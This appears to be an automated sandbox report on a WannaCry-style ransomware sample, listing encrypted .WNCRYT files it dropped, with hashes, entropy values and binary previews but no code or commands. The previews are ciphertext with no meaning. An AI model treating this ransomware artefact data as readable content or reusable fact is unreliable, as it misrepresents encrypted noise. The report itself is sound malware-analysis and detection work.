                                                                                                                                                                              Process:C:\Users\user\Desktop\f_000112.exe
                                                                                                                                                                              File Type:data
                                                                                                                                                                              Category:dropped
                                                                                                                                                                              Size (bytes):312
                                                                                                                                                                              Entropy (8bit):7.191884158509229
                                                                                                                                                                              Encrypted:false
                                                                                                                                                                              SSDEEP:6:bkERRQOrESCNyAiRNkMRLmFjnnbbMsoHsgvLTPSCOHJOfqLNu5Ijg+:bkERKOr6yVrFRLyjnPMs6sSOHoyLMZ+
                                                                                                                                                                              MD5:F000E158E7F8D5D8688FFD4E4F69ACE5
                                                                                                                                                                              SHA1:88CF975CE8DC281A1D84B2D20C86078D44EB4B18
                                                                                                                                                                              SHA-256:BBFBA1469D7852D73E36D18B5EA4EF461DFB0ADB118DAADBF8C89C7EE28991CD
                                                                                                                                                                              SHA-512:C1CBD47AB80A3778A4034F53F0AFD94653EC185C4E1122ADAF22A2D468937E1790499EF253BEC2D04ADC198FB8283CA059FF22462036AF5B03F2E8E8017D45E1
                                                                                                                                                                              Malicious:false
                                                                                                                                                                              Reputation:unknown
                                                                                                                                                                              Preview:WANACRY!..........|I..[."...bcy...J..*f...."m~R..I(..`.O.....^...t.T......(...=P..........#3O.....z.s7.;..3..}'YV.....!..."&$.;.kO.o=..._.+..<.i@.......<v.w.a......]I..J:.......-5.$}c.|..i\!..S..^j.p*....K....g...v..x...|.....V..^..p......U..^..z5............#.d...T..ln.|GCbX("7./.|.L...!uE

                                                                                                                                                                              C:\Users\user\AppData\Local\Microsoft\Windows\Explorer\thumbcache_32.db.WNCRYT

                                                                                                                                                                              Download File
                                                                                                                                                                              Process:C:\Users\user\Desktop\f_000112.exe
                                                                                                                                                                              File Type:data
                                                                                                                                                                              Category:dropped
                                                                                                                                                                              Size (bytes):1048856
                                                                                                                                                                              Entropy (8bit):7.999839310918236
                                                                                                                                                                              Encrypted:true
                                                                                                                                                                              SSDEEP:24576:CAZpV8XmahQ1+Iuy9mRiSmFZugvUK7k56g5CCZCd:BZ8ReRuy4RJmCgsL5Ngv
                                                                                                                                                                              MD5:0C3E198028B0C6AAE05008CDD6481857
                                                                                                                                                                              SHA1:37861FDF477E34511E1326BF79B06148BFFC23E1
                                                                                                                                                                              SHA-256:3E593B6322627626BDE19878B59EC1BBA8A34FC9B90C6FD9B31EDD4A079372CE
                                                                                                                                                                              SHA-512:C12ECB921DD1AD485021A79A52CB0146A213BD7CAA7D1A615BE807C6086F3FD8D9872C140FA7DD8D6F414561047F0EBDDBBC8EBEFB1F008AB16DEBE08DF710E0
                                                                                                                                                                              Malicious:true
                                                                                                                                                                              Reputation:unknown
                                                                                                                                                                              Preview:WANACRY!.....4.j..b{....K.,....o.s......_6....\.Z.&.3..Z2.b.l.......&...dd}......w:V.0....- .="....4...H..L.Z..%...r<9..........A3.T!........Y9P...&.c.I66..W.H..(.#8...|.........'0..xS..t.t....9]m.b.5&'.......".KlPs..XP....z..*._\.-~.`;.X.l.=. ......G...%N................~..dv..y...X.......7.q@K.......\.gZ..e/..?h.1].........J.A..)A&.4K......"<.3l...|.>w.L".$....P..a#.\C.T.........l...P.`.s.f...}.2...?.....#.u.n..g./>.........nW......(.X...p)..O%....<.........\.!..6....Y?;......OQ.H.).a..V...'...G........7..K..W.h..X.D.....~.0....!/..~..._.G.PY.F/..`..z........;QtVb.ug.8.....Bv?>..7...rd.m.F.N...%.8\{b.9.t....Yh..d...39..F..-l..5~.[.$:SQ.{.../...`(.h:q.rG.^.|..}p...~....4...~. ..g...[..|.o...><t$.....P..4..:l..H........R....GT..F.;-..|..61.D_{.o%..|...5...q_!?6....Gs..^u........Xt.6.j~?>.Drj.Es...\..VL......p.`.u.B.";.x..O......^.q^..'...7SN,.-....e.5.n..)r.1~^......j0L.e..c-..qj.\..l..{0.....r@W....GS...H;9....L.h.....3..(.(.H.:B..

                                                                                                                                                                              C:\Users\user\AppData\Local\Microsoft\Windows\Explorer\thumbcache_48.db.WNCRYT

                                                                                                                                                                              Download File
                                                                                                                                                                              Process:C:\Users\user\Desktop\f_000112.exe
                                                                                                                                                                              File Type:data
                                                                                                                                                                              Category:dropped
                                                                                                                                                                              Size (bytes):1048856
                                                                                                                                                                              Entropy (8bit):7.999807421547806
                                                                                                                                                                              Encrypted:true
                                                                                                                                                                              SSDEEP:24576:2V6xkSJfVBqeCJa4MNu3BXkRQ0QaMIhaewI5ju5TOfxg:w6mS1z0JddL0QamIWTOe
                                                                                                                                                                              MD5:9CA7AFEE506E08E446957C676D67BD0B
                                                                                                                                                                              SHA1:6975AAD9E22DF6C1AA7E0708C82FC329E771E833
                                                                                                                                                                              SHA-256:CCE21A29230EBC0B7596163FB0AE3FEABAD0708F428A1ADA05C211ADA9B0891C
                                                                                                                                                                              SHA-512:88E09F82A80EF3C2BE8FB80AE9C8482E485B2C9CD793DB9D18EC7B7E0AD5CC47C3EAF013067F8B8D4E54E11D9D8DEA360F197862DFA2B702882D7017A5092563
                                                                                                                                                                              Malicious:true
                                                                                                                                                                              Reputation:unknown
                                                                                                                                                                              Preview:WANACRY!....i5........&.Ie{...m4..1....w.,6.U...6....S.y..7...........B<....aF...7}4....W.....L.mo7O.]....[N..sN....d*d..%.v..&...(=.S..0.].+...w...G..cm .pc....N..^).u}8.S%..{N.SK-..i[......<*.&Mz>+..!.......b.....lrYGV...@..d...,..,s..C..V.y.3.D.{y................p.V......p.$..g.7z..7Vp....~.*...1....$.P.,.~....v4E@4.`%7....t?....R.H..L.......3.".\7..g...$.}5V.no...RQ.......J......TXFL.[..... ^...0.E,4.%...h$|../.]..E..c'.i....=.7....&..+.".Fg....v..%....h.X?@K.f.44jR^.g................R......&g..e... ..N^.If.K.@!F.j.TUU.....k.PlBg.w...E...._.6s..._Q.8E(....'..c......lz......5.2..KU.....?Y..,).f.;JV.....Y..+.f....s*...K...V.TnzP..f........F!.X......1.B..u.>kA.d.......?......L...wn.mrI.p..?&C..F.s/|.D_$P/.........GP....x.p..6&.......m...I<s....m.2qo..>../..Mu...Ie...q.4.x.x1w..'.....XR..G..|...i.&V.H.Pd.#/sl...V.r......?..Lr.n..C..hf^>.&j..F....P.....)@#....t.^....".c..>....j....~.iv..H...{.....a..x.f...._.~.Hr..7.[...y.R.lN

                                                                                                                                                                              C:\Users\user\AppData\Local\Microsoft\Windows\Explorer\thumbcache_768.db.WNCRYT

                                                                                                                                                                              Download File
                                                                                                                                                                              Process:C:\Users\user\Desktop\f_000112.exe
                                                                                                                                                                              File Type:data
                                                                                                                                                                              Category:dropped
                                                                                                                                                                              Size (bytes):312
                                                                                                                                                                              Entropy (8bit):7.232784490070323
                                                                                                                                                                              Encrypted:false
                                                                                                                                                                              SSDEEP:6:bkE57jQfSdmtS10gFjjBEgHXeTBGerdOlxAwZ3orG7N9VLVSIn:bkEZj4SES10AbXeNJrAMG7NjEI
                                                                                                                                                                              MD5:9B35ED9AA8FF8EF23D6891363DA55E3B
                                                                                                                                                                              SHA1:F3818CE5B330BA08663182F404116937B6154229
                                                                                                                                                                              SHA-256:FD0536DE48725A190D8356730E3D34150F649E32179C1F669954A0E9E4568B2C
                                                                                                                                                                              SHA-512:16F15BAF47D9D666295EB55B894F117A7954AE93E39F74C45C992FADAA6DF65BAEAC5091095A2DC62F4246634AF8CC40A48D7AD93582F4B0092C7676D71E0384
                                                                                                                                                                              Malicious:false
                                                                                                                                                                              Reputation:unknown
                                                                                                                                                                              Preview:WANACRY!....x.\.d....?.RkF~..$Y.m=..R../..]..G.....G6...#./@:.....S.....q<.D......r.=).E4(.v..C@E...6.geib.n.4.l..bOV-.....{=.......q|.;..S.1.p ^.d[.....BE.'`.{.=......<..sm.h<..P..C....O{.M...N..R...=......|&.k....../F..M....lz......W.s....>.u.6...................=...cEb..\.6i..5.....Ft.=.Q

                                                                                                                                                                              C:\Users\user\AppData\Local\Microsoft\Windows\Explorer\thumbcache_96.db.WNCRYT

                                                                                                                                                                              Download File
                                                                                                                                                                              Process:C:\Users\user\Desktop\f_000112.exe
                                                                                                                                                                              File Type:data
                                                                                                                                                                              Category:dropped
                                                                                                                                                                              Size (bytes):4194584
                                                                                                                                                                              Entropy (8bit):7.999954380046845
                                                                                                                                                                              Encrypted:true
                                                                                                                                                                              SSDEEP:98304:v1r2XITAV1kKaDWuTCvhX/5JG+BYbS9WKd2uw9pAiF61raTtS:v1r2XKAVunCvhPbK/K0RpoxaBS
                                                                                                                                                                              MD5:6E77D8C46D2FE7B188F81E3E80057968
                                                                                                                                                                              SHA1:FAA6E86EE90DFDF523F1A92C73C8F2E5BD92810F
                                                                                                                                                                              SHA-256:025C68F991E1CAB8934797F62A88130B1E287FFCA55216D9A16AD50A62EEC965
                                                                                                                                                                              SHA-512:FC66FBE8AD42F611D1AC6014AE54D275F64794C37DACA11DD4D96F59E4599786E6C8216B09D91C0D549F349E7EF9405D0F98D38BAF0931105296F8280EEE2A04
                                                                                                                                                                              Malicious:true
                                                                                                                                                                              Reputation:unknown
                                                                                                                                                                              Preview:WANACRY!....^......A/.R...#3.H.....u.|\..I..n..K.77}.h...,~$~..w..a..("..g.&. t12.....C.........7....p......$.;.(..6...S.)..P8N...`.......l...E.Hsu..(MR.SI.S.#f.# ...e..Bk(s%..Pth..07..@*.\......FS...k.....xI.^..~/.H.....`..^....!k..W.<...O#..`.!2A..#........@.....?...>!P"n.4..#.YvC...zE.X...;.t.0........rW....>P.#}S9...%n...0.&.~.8.VBU"..d\...).0..NA.r._9gK|....[7.....&..\Gi4.9.S.=..?..X.....!i..]z....@.{F.A.D....|..%)..Y...D......M..a.B/.... `....h...l..{*)....vv.W...d..l.%3..aD..zx.zH.}Uzzf...2+.Kn.H.j.2@........1.=.....Nd+`}a...Q>M.....i6.|....!.N..v...Z...I.3A.-...Zy..W.....[..&......y.8.]..#7..}Xp.K..b.9.....F......5!U..G.U...K...%.....h.G@...I.jQ..-@..Pj....VsYaq.U....W.F..5E.Kyv|...`.......U(.-.k.......h....#..b...m>....C.A.1&).6..J?.R..:J..a....d....x..k^f...<=.J6....s......$..?.@..F.. a....*hK..M..f6;...9.0...F.G.V.Z[jEq:o......GS..P6.....~..'.y..@..I..E...H.p!$f.......'..`....Z..n..f.|....H..B...p.#....."..V%.....kLBb....A

                                                                                                                                                                              C:\Users\user\AppData\Local\Microsoft\Windows\Explorer\thumbcache_custom_stream.db.WNCRYT

                                                                                                                                                                              Download File
                                                                                                                                                                              Process:C:\Users\user\Desktop\f_000112.exe
                                                                                                                                                                              File Type:data
                                                                                                                                                                              Category:dropped
                                                                                                                                                                              Size (bytes):312
                                                                                                                                                                              Entropy (8bit):7.226437745211555
                                                                                                                                                                              Encrypted:false
                                                                                                                                                                              SSDEEP:6:bkEoZ/2/wWvJWvTjEyN8KtfOvjeJrDpVdf4C9tvckOPHQYyR:bkEoNsooe1u0r/dX/kxvh+
                                                                                                                                                                              MD5:41A9A46191D016445FA9E253E40CCDE0
                                                                                                                                                                              SHA1:26F262EB0B8573E30B6BF38C9432EA18D4811FC2
                                                                                                                                                                              SHA-256:E578A5F16D9A978C92BE3297297C612CC6EE1AC82D7E4A282BD8D284F0CF9433
                                                                                                                                                                              SHA-512:105DDF9C9B0D2F87F43CA8B5FB7CB0026F2BB60E8C7DE64C3AFEB272F42D1DA32224A83199396D392FD86E8B9F92E16654A773FF9AF1F3029C4B8BC75449C93D
                                                                                                                                                                              Malicious:false
                                                                                                                                                                              Reputation:unknown
                                                                                                                                                                              Preview:WANACRY!.....Rs...IK*.....VK.O..^r.A..z...7.....[.FN.....C6.......m:+.y......]".@..o{.>........."....h......?...,+.-.........U~...1.l8..J.3.&.b.|E.3...B06...Ci.%...R.9:.[2..[..6p4..ZF.T.6g....6......S..z.>e.W.x.Z.'J.N...N...E..S....&......?..J......./..............2.X.p.....}d".i..@J...m#...%.]..

                                                                                                                                                                              C:\Users\user\AppData\Local\Microsoft\Windows\Explorer\thumbcache_exif.db.WNCRYT

                                                                                                                                                                              Download File
                                                                                                                                                                              Process:C:\Users\user\Desktop\f_000112.exe
                                                                                                                                                                              File Type:data
                                                                                                                                                                              Category:dropped
                                                                                                                                                                              Size (bytes):312
                                                                                                                                                                              Entropy (8bit):7.185501978725754
                                                                                                                                                                              Encrypted:false
                                                                                                                                                                              SSDEEP:6:bkErrgYTrLAwWgTU1/DmMBwLyKLlJm58OEsJAPB31eSP4PEBP5tD8GNG5znHrC:bkE/Vr0wWgg1bzBCtEJJ6BAE5DDI5zn2
                                                                                                                                                                              MD5:C8650FCD212D2CBEA31984241E38AD1A
                                                                                                                                                                              SHA1:0877D36A3883BEAA82913C457741B10093388C9A
                                                                                                                                                                              SHA-256:7580D0912A0C24635B129EF4B7C60E1721AFA17B1C6AD3D8E61B91519DCFA75F
                                                                                                                                                                              SHA-512:FFA6FB5C020F7D721C8FE36BAE847DD6520EA91307D6373A02936FCF2B8DB432BB6F20063ACD131EB64DF0FB74C0E9B3CF325BA8299F05D9CD39D5A42B5ECDB7
                                                                                                                                                                              Malicious:false
                                                                                                                                                                              Reputation:unknown
                                                                                                                                                                              Preview:WANACRY!........=N.*........&..,m.`.@}.w......#..{ v=...&../..pt..DT..N..KT.m.K....{Y....>.C...4...f.W.[.C.....y@....WW.>..%..........u.&..U.`...H.%.%a..s..+.Iy|...;.k|..!..=..Z..!..........h...$..ZY.oAgB...........jK....j.%9.....S...9...}.....2.c..@.. ..............(~DTcT....B8^j.H...d3 .^.....QO.

                                                                                                                                                                              C:\Users\user\AppData\Local\Microsoft\Windows\Explorer\thumbcache_idx.db.WNCRYT

                                                                                                                                                                              Download File
                                                                                                                                                                              Process:C:\Users\user\Desktop\f_000112.exe
                                                                                                                                                                              File Type:data
                                                                                                                                                                              Category:dropped
                                                                                                                                                                              Size (bytes):58600
                                                                                                                                                                              Entropy (8bit):7.996830251801112
                                                                                                                                                                              Encrypted:true
                                                                                                                                                                              SSDEEP:1536:C8/Yvd4EG2x5SEJt/+qXJslhK3rZBnW0tDu82w5:C8cdfx5TY83X4w5
                                                                                                                                                                              MD5:E290B6694F09E33B108B0DE16944CDCB
                                                                                                                                                                              SHA1:4275D19499F2A4ABA1B776A1102343AB09F22311
                                                                                                                                                                              SHA-256:C50C9912D14943E4D11FCD78BEA48F90836966EF370A1C744EED09D97A4CF6AC
                                                                                                                                                                              SHA-512:5A229808E416861F2A7BFD84C40197F6D42E6A4C61D848326597A575FB17B26030B7E22DEF7AABDD84EF56FDCE0DF778D3AF93C1CCE10ECE4BD4E541558A1458
                                                                                                                                                                              Malicious:true
                                                                                                                                                                              Reputation:unknown
                                                                                                                                                                              Preview:WANACRY!..........dg/g.V.1_.q.....Zi..7".....U.{..;....|.t`R.X...Gq..Y........'....3....5......W7..4.p.(..<s. ..5...o...^^;i4._Y...?.[..t.....d.D....Qn...y..9G.T.....n...E..U.BW.vP....8.{3O.`.....M9...)%:<<..N.M.a.....%..R....a,sQ..)\..@.1.2....G....q.Kr............MO..Ke..4W.3W...oUB.O\......r...f..d. ...>e.I..6.........$.7.\..E.;.....tO.O.....j.6...@....p:..>.`.M.7.y#..f.....k.v.:6%+0q[".sw..B.n~-..:.v\R.*/d.i.zt..h..-...k?Vbi.~.A...t..._..v5..bp..9......;...&.....?e.1]...=&-^#hU0.U......%HX7h...}......m...w`..lUR.\........o..cnJ....+.8.0...S..:....v....i..Qe?j.:.....S..8E.+...19..w...[..=..8..:7..pC.......#.<..M.d...9s.....HTr2s. .QQp..'T48...."[.XuH...F.>....w`......XKCc...-2...K.._..XqS,".V... p,..^..8...U[..2...^..;.^.g.&....2.o/.4_..y........:.$......`..;..(..F.h.....g.,.+\S.g.Q7@F.....z..V.t.....9\0..<....G....w....".I..>59. ....1.f.^.n<...f...o..l..j...@..B:F.H6.....T.......i.....d..._=...2..%.*........p.J.i..Oa.o....p.Hku.w./....

                                                                                                                                                                              C:\Users\user\AppData\Local\Microsoft\Windows\Explorer\thumbcache_sr.db.WNCRYT

                                                                                                                                                                              Download File
                                                                                                                                                                              Process:C:\Users\user\Desktop\f_000112.exe
                                                                                                                                                                              File Type:data
                                                                                                                                                                              Category:dropped
                                                                                                                                                                              Size (bytes):312
                                                                                                                                                                              Entropy (8bit):7.136319357033618
                                                                                                                                                                              Encrypted:false
                                                                                                                                                                              SSDEEP:6:bkEQaWVGCZO8H3RcJ3MAcqT5w2n8TM3JcAfSKMgZ+JDdGp73A4yUZBGo:bkEQagGCZmJgsXeQ+WN0JDdGp73uUH
                                                                                                                                                                              MD5:6030FFFFE54F8A440F849E9BE38C4579
                                                                                                                                                                              SHA1:BDF1D260ABEBA715A2823A6976F06F143FE8EFE9
                                                                                                                                                                              SHA-256:C421AF1846932539A50A6A844096066A429C823964C31983FC4C49C6F1A7F985
                                                                                                                                                                              SHA-512:E877BBD7994E9180776700CB1147BBAED6D9379170E941CC0780936BA281809901475C1ED41BAD68C8DE9FCE8DDAE257FE25D349FA32CFF672AED1FA1E9B4711
                                                                                                                                                                              Malicious:false
                                                                                                                                                                              Reputation:unknown
                                                                                                                                                                              Preview:WANACRY!...._..D.<.s....X.....U.*.5../..w......L.1L."e.p@...E...yw"..'u=..6.]0....s}..9.......$....9.k.1.......C..CuO..B/..s.d..V.^#5.A......5....Si.#..I]y.PV;2.._.....5*AD.<~.C...).1..p.$K.L!B.*.0.. W.Dq.=.W2....w[9.k..j._].+.....u.]....]p.......~.8.9..7.p..x............t...`.`.@...-....5...=...h../...

                                                                                                                                                                              C:\Users\user\AppData\Local\Microsoft\Windows\Explorer\thumbcache_wide.db.WNCRYT

                                                                                                                                                                              Download File
                                                                                                                                                                              Process:C:\Users\user\Desktop\f_000112.exe
                                                                                                                                                                              File Type:data
                                                                                                                                                                              Category:dropped
                                                                                                                                                                              Size (bytes):312
                                                                                                                                                                              Entropy (8bit):7.319158216023799
                                                                                                                                                                              Encrypted:false
                                                                                                                                                                              SSDEEP:6:bkEuwl2sEHHfHeNvR1h6AeYWbLa4aAM3aI4/rVReA3gjPQmg4lx4z48A:bkERtEf+NpX6TS4t2aI4D6djPQmg4liA
                                                                                                                                                                              MD5:30484748FD19755AE84FBFA213D3DB45
                                                                                                                                                                              SHA1:FDF69C82FFBD67B5FC312A2CC76840A2B240B13E
                                                                                                                                                                              SHA-256:DD4504D17ED0BFC9363C84DF2B703287048AB907174ECD6E52980E0E021648F1
                                                                                                                                                                              SHA-512:538C2588EC4A9B98E64957D212DC83A64B0FF315BE16DF649E6D3343044D88453C0D76D0EC13882664B6F01CEEA471DE54E0A0CF38BC882F2F951DBEF79CBBF8
                                                                                                                                                                              Malicious:false
                                                                                                                                                                              Reputation:unknown
                                                                                                                                                                              Preview:WANACRY!......u8..~)_..np.z.<....F..x...G<.D.7.....Z.W....2E{..E.~c...z....._X..<..<c.a....Z.A........J.M....;?.}.[;.Q.t.........,<.....U.M.R.........p....m-.>...9qp...j.`..-..b.d.12./...._..N7.#uh....nq...........&...oOOQ^.Vt?.d.v....v....RT.?...S.1.=.|...............p..\...,..x.......<I.".~.N

                                                                                                                                                                              C:\Users\user\AppData\Local\Microsoft\Windows\Explorer\thumbcache_wide_alternate.db.WNCRYT

                                                                                                                                                                              Download File
                                                                                                                                                                              Process:C:\Users\user\Desktop\f_000112.exe
                                                                                                                                                                              File Type:data
                                                                                                                                                                              Category:dropped
                                                                                                                                                                              Size (bytes):312
                                                                                                                                                                              Entropy (8bit):7.314060391855953
                                                                                                                                                                              Encrypted:false
                                                                                                                                                                              SSDEEP:6:bkEQif37aVgkDl3WSOo/AE+a0puv/KxkJKHzcIBeYiaJlHY3q5be:bkEQiGfl3fAE+a0pvkE4weSFY3e6
                                                                                                                                                                              MD5:6643B02249A12833F2731BA3EA74F33D
                                                                                                                                                                              SHA1:3853257F0497C7C2CEA3112C1EEFE0BB92C18F8D
                                                                                                                                                                              SHA-256:78827DA12A4DEA8859E27C20F8E896D441A734BF10C9FD354EDED9B12C6EC196
                                                                                                                                                                              SHA-512:C1563B6A75D1F74022B5D6B95F53D3CD71016E532C61E684A302FC240F5104AA7266A8292BE7FA4AEC4BD855FB10AED906F143A795E4E3FE2EC702A86F032C9A
                                                                                                                                                                              Malicious:false
                                                                                                                                                                              Reputation:unknown
                                                                                                                                                                              Preview:WANACRY!.....%..;..B.1..Qt)Cf@@......``.Nf.M.E.T..2t....K.9...R......j..1.<.C........z.$f.8|.%.P.]`0.*X..}$.".L...{. ........ ."......g.A.I.....#.....c.s.G.z......Z....B......97l.$Tnr..;.:.:^.-B4fzV/.j<.F....P+.)....Kk..d/..w...cA.H.9..~...2..9.x..8vhD...C..................SYq5.U|......G.. #..1n.& ...70

                                                                                                                                                                              C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\33CUD2J1\ConvergedLogin_PCore_AI1nyU_u3YQ_at1fSBm4Uw2[1].js.WNCRYT

                                                                                                                                                                              Download File
                                                                                                                                                                              Process:C:\Users\user\Desktop\f_000112.exe
                                                                                                                                                                              File Type:data
                                                                                                                                                                              Category:dropped
                                                                                                                                                                              Size (bytes):418488
                                                                                                                                                                              Entropy (8bit):7.999564025582816
                                                                                                                                                                              Encrypted:true
                                                                                                                                                                              SSDEEP:6144:MyfnpHj5rg5QI0/J299k4hjG8vOqMZbwKSNZiJN9PTDSUTDxe:Hl65H0R299vvBMZbZJ1vSUpe
                                                                                                                                                                              MD5:469AF99187621C847CF267EDFDE03226
                                                                                                                                                                              SHA1:26F7A39C89DD23831446319AC8BB97B5391FA6A0
                                                                                                                                                                              SHA-256:479FC9C939381DC9DC46469B42F5B6DEF00028B1F28B488DE870D08E10FC33F6
                                                                                                                                                                              SHA-512:064BBE898B14E941E40E09A9188D8996A5439807420AC0BAF548B10D741183235F38D0AB6CF73C6079A7B99589B7617ADB3DA852A765A1994CBF208D309C999B
                                                                                                                                                                              Malicious:true
                                                                                                                                                                              Reputation:unknown
                                                                                                                                                                              Preview:WANACRY!.......U.2.s...|.B.<.a..Y.n'.-.....t.......M`..`...[...Z].3H..b..'^.x`5...w......uo.......D..d..+c...E}....2/l.....ZG8&b.b...%. vM....WW..;.4x..4...t.lN.U.....X..c$...'.V."s..vw....#p..[.p.l..f.pj.....C~... ....6d..1..7V6..h....?|P.&..lQ.J..%v...d.:.....a......O..r.......{...-.Z.MJ\..=........7.....q;.6qN...3.!...z..}.(........O..'.6u...........^.J.x....+@......?pjGE..D.g.*...!_..>....n..|......`t.."..o!....kR)^ph....@o......p.q....A..v.d...[....\....A..D...=.m......_._.#..;...][.a..h...#DN=*@..... ]0.=.F ..q;....."...t.k ."....4...0AjgQ.]..6w.0..D.g.5.....X........`?...MqQ..]..8)......"lE0....{..4...3.Y...F.]Z....*1s4.e..K..Ai..?.Q..Yx..u.|B..b..x..5.].0z......y.=...W.E(.@...v.yU..We.a.}.r.|.-2l..~..\....@....$.}i[.o. ...j0.7.e....e3.2Z:@Y[..*.....*....f.8'....*..o....}....z`o.....Q....b.DN.}......6=....p..LJS;.~9..\......."2.(N4...If.m.....W...:.GWB...l..$&..n..Yv..lU@.r.....%c8.~~.. I....+h<.E,.4_.......&K..8.;.=.6..&.m..

                                                                                                                                                                              C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\33CUD2J1\ConvergedLogin_PCore_tSc0Su-bb7Jt0QVuF6v9Cg2[1].js.WNCRYT

                                                                                                                                                                              Download File
                                                                                                                                                                              Process:C:\Users\user\Desktop\f_000112.exe
                                                                                                                                                                              File Type:data
                                                                                                                                                                              Category:dropped
                                                                                                                                                                              Size (bytes):416088
                                                                                                                                                                              Entropy (8bit):7.999541799514482
                                                                                                                                                                              Encrypted:true
                                                                                                                                                                              SSDEEP:12288:Csv+HoH6HLy+swWqfyg1YM7TxbGsPsp1z/F:zWhHLlFydM7TxbGjnzt
                                                                                                                                                                              MD5:DD2D3B1548984A45BF77B1002BEE34D3
                                                                                                                                                                              SHA1:7E88871FE9949E6B8D6419DC4704DFF4C93BC8F6
                                                                                                                                                                              SHA-256:69B26CB4D84C0B43CF95441867566B96DEBA690C41BA1A42D99F440AF243988F
                                                                                                                                                                              SHA-512:188D7B3407FC75111D5CFFE519E9F47C6D3F58D6132DB49C34AE6340E17BE4ADAF0BF0C286C31EE636D503861DB904D4928D3C995AF1A4FD151764BD468941C7
                                                                                                                                                                              Malicious:true
                                                                                                                                                                              Reputation:unknown
                                                                                                                                                                              Preview:WANACRY!.....jN.....p.Y...LhB?.W..buj..-..I.y....@8..&(e.9..$..b.Q.C.....f.?...~}J.a.H?..OD..e.L..r..,............b,...J.w...&.w%)....a.-....~*8QD.\.3bH`.@.....mj:..h....y.--. E.A.r`...vP.u.q1X../..Kh*....QV..f..'..&.".....+v....L.i..j.p.F#.K.N..=r,..o*.?;........2X........q..%I.3}..KC.X......\<.).......Y..r.gv..z..KU.h.vx.'.[..D3.'..3....^.}.e?#qXo$.F..'.7....|..B.....8..>'.^e.'..\.K..+TWE.....`E.>....u......>1....F'.n.=h..Lj.@..ax'..,.]q.[?.-..x...A.......-Q.1.....2..)uL...NWkg......F..[.. ..9..Z..o.g2R0.Vl7.\.J.....U.7..s...5..../.E..?..w...|..Z.=..!...m.1..U..i.S..Ck7......0V..4h.8.<..f.UQ..U..e...Y.&...k<...WN.,-.d.....[.2.....*.ea]...jn]..,.0..q..c2R.&o...s..+.3..ceB.._.#......w..by}^8..PS]...4..hU0-o.)....{.7y?6.r...\.g].>.......".FVoR.:Gp...m..G0.].....8O.!.u..V..|N.m.~....=..R^..*.[Zk.......A.._R.S6..qT.geN.........?d.&..f.Y...9ED7s..k.[.>..w-\...D.*..p_%..|..1.%h..t...a.X..]..=pe_0..8......S.r5.......$q.";!2L.k....'......Q.....4.%.<,.

                                                                                                                                                                              C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\33CUD2J1\Rdr[1].txt.WNCRYT

                                                                                                                                                                              Download File
                                                                                                                                                                              Process:C:\Users\user\Desktop\f_000112.exe
                                                                                                                                                                              File Type:data
                                                                                                                                                                              Category:dropped
                                                                                                                                                                              Size (bytes):296
                                                                                                                                                                              Entropy (8bit):7.181834593794834
                                                                                                                                                                              Encrypted:false
                                                                                                                                                                              SSDEEP:6:bkETqm3vBNDC0st+RHr48wa0m8ILPw+MIANn6JTZNciTDH:bkETqm3vBU0bMm8ILo+MIAF6JTPn
                                                                                                                                                                              MD5:14492A90306892A8D56D5CB92341C71F
                                                                                                                                                                              SHA1:722E9B5870504B58B75D0C43900E7E3038622337
                                                                                                                                                                              SHA-256:BF92434D438740D27BD25CC921C58A81EFAF3E15579E5C1B8877C8A805B8B98F
                                                                                                                                                                              SHA-512:E141C95FF2F0AE6A79745D5C2BEFEC6BC85DF1BF4F26221CC69E048420F2DB7C28DAE6F74E0FD01DD4267D1E95802BC30850C3ED1E784DA57B8029981B27D73D
                                                                                                                                                                              Malicious:false
                                                                                                                                                                              Reputation:unknown
                                                                                                                                                                              Preview:WANACRY!....'$..mCi........$h].....n..M..K.NS.g[-\.Z.:c.g..2.U_.. ..`D.3f..p...l.[...`T@..%..3.9...iN..o...0|l......E.Z..p0s..,.....P...C&..$..C..;D\8..\.(....a.ld..8....r..2m....4L..VS8..;].Z`.h....W.D....NK4{..(.."...R#2...1r....yv.......}..z..c.na....nS..............c.?p....,..P@.

                                                                                                                                                                              C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\90SNK17T\Rdr[1].txt.WNCRYT

                                                                                                                                                                              Download File
                                                                                                                                                                              Process:C:\Users\user\Desktop\f_000112.exe
                                                                                                                                                                              File Type:data
                                                                                                                                                                              Category:dropped
                                                                                                                                                                              Size (bytes):296
                                                                                                                                                                              Entropy (8bit):7.198293460732944
                                                                                                                                                                              Encrypted:false
                                                                                                                                                                              SSDEEP:6:bkEXqiYnAYHrA8psdK34wuZy/5536OFNdHuVr+p1/ysBjBA9:bkEX/+LA8SZHgvtut+5ysBB6
                                                                                                                                                                              MD5:595A26CB7AA9066D613DDF9C3493A987
                                                                                                                                                                              SHA1:D6CFD8B90E9AFAD4450311992DE34ACEDFD7A552
                                                                                                                                                                              SHA-256:1D9AAC20BADFD525FCFEF169CD809D6C3A96FC016CFFA60E9F8215353AC9A965
                                                                                                                                                                              SHA-512:0927C6619C2A3D7327FE53ED95700DD676F22CE43F160812D0FC5895994B6ABDC57130E1697CDB48EB4275E5663592E1B0FC3DE7E0E1985FD028571AD1F8FFCD
                                                                                                                                                                              Malicious:false
                                                                                                                                                                              Reputation:unknown
                                                                                                                                                                              Preview:WANACRY!....Qv..!....%<.74..D.....(..2JD.b...\...\.....Fs.^...Nr2d...E..UOP<.....>-...U.7M.i..v....@K.z.\...h,..a..L.5......4..d.L.......6M{..t;.F...L.qX..[........X.W.T.(.5^l.|.2n$~=...MYx*...._.:....-..n..7......u..o...+..J....Xc.xH..I.%.......T.. .._W....:.............#...(....eJ.tO

                                                                                                                                                                              C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\90SNK17T\oneDs_f2e0f4a029670f10d892[1].js.WNCRYT

                                                                                                                                                                              Download File
                                                                                                                                                                              Process:C:\Users\user\Desktop\f_000112.exe
                                                                                                                                                                              File Type:data
                                                                                                                                                                              Category:dropped
                                                                                                                                                                              Size (bytes):190440
                                                                                                                                                                              Entropy (8bit):7.999011384866825
                                                                                                                                                                              Encrypted:true
                                                                                                                                                                              SSDEEP:3072:Cf4mkCszidqy9sMpIvXUAYgPlcT2IHMzTKA2Rcsp8xQ4/n36kS8O+TuUS1whF34z:CQg83wgw2uMP32oKk/nuUSqz4ONe
                                                                                                                                                                              MD5:0784BC7D7BE5E469CA9D8AE968A9A886
                                                                                                                                                                              SHA1:0F3CC89ACAA715CA1134185B4B907CD676FFD63B
